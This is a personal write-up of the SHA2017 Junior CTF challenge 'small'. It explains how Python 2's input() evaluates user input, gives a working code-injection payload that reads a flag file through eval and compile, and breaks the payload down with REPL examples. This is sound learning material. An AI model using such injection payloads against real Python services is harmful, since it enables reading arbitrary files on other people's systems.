small - SHA2017 Junior CTF
SHA2017 Junior CTF is my first ever timed CTF and this is a writeup for my favourite challenge from the weekend.
This challenge has you exploit an input()
in Python 2. The tricky part is that
the input is multiplied by a string so you need to find a way to get the output
of a file and still return a number to be multiplied.
Details
Challenge text:
This program consists of only 4 words, and still they've made a mistake. Read the flag from /home/small/flagnc small.stillhackinganyway.nl 1337
Program:
print "HACK "*input("Number: ")
This challenge was worth 4 points, which was the highest tier in this CTF. I found that it took me a really long time to figure out. I even brought a pen and paper to dinner. Ultimately it required knowledge of python functions most people don't need to know.
The solution
While the program we're trying to break is pretty simple, it is best to clearly understand whats happening here.
- The program starts on the right with the
input()
function. This creates a prompt for the user that looks likeNumber:
. Internally,input()
is actually a wrapper foreval(raw_input())
. Oh noes. If you weren't already aware, you should never use eval in code where you can't filter user input first. Now we know there is potential to exploit aneval()
method. After a user enters their number, it is evaluated and then multipled to "HACK". - How to get around the multiplication? The
input()
needs to evaluate to a number. There isn't really any other way to do this. - Finally, the result is printed.
Having a clear understanding of input()
and how it will interact with the rest
of the statement is the key in this challenge.
Here is the solution I came to:
int(eval(compile('print open("/home/small/flag", "r").readlines()', '<string>', 'exec')) or 0)
Break down
While we're breaking this down, feel free to open a Python REPL so that you can follow along. Now, lets break down the solution starting from the outside:
int(<command> or 0)
This guarantees we're getting an integer no matter what our command returns. Try these in your REPL:
int('' or 0)
int(None or 0)
eval()
This is so that we run the code object from the next step.
compile('print ..', '<string>', 'exec')
Next we fill the mandatory fields to compile the statement that will read our
flag. The first argument is the statement we want to run. The second is a
filename, though in this case we just say <string>
which is the common pattern
for string input. Finally we use mode. There are three options here but its best
to read a (really) good
explantion.
Now what does this look like if you run it through your REPL?
>>> compile('print "hello"', '<string>', 'exec')
<code object <module> at 0x7fb0def20d30, file "<string>", line 1>
And if you tie this together with eval
you can see where we're going with this
exploit.
>>> eval(compile('print "hello"', '<string>', 'exec'))
hello
>>> print eval(compile('print "hello"', '<string>', 'exec'))
hello
None
>>> print int(eval(compile('print "hello"', '<string>', 'exec')) or 0)
hello
0
print open("/home/small/flag", "r").readlines()
Finally, we add in the command that dumps the flag to the screen. This is likely the most straightforward part.
Finale
As part of writing up this exploit, I realised you can safely drop the int()
method as long as you keep None or 0
. This is useful if there was a length
limit. Or for the sake of efficiency.
Getting this exploit together was a tough one. It took a lot of time to figure
out that there was an eval
and an exec
. It took a lot of time to get out of
the mindset of SQL injections (5; print 'flag'
failed over and over).
As I stated earlier, this was my favourite challenge by far. The amount of pieces that needed to come together, needing to learn weird bits of python, and the amount of time spent turning this over made it really fun. It was a great feeling to be able to complete this and I am looking forward to my next CTF.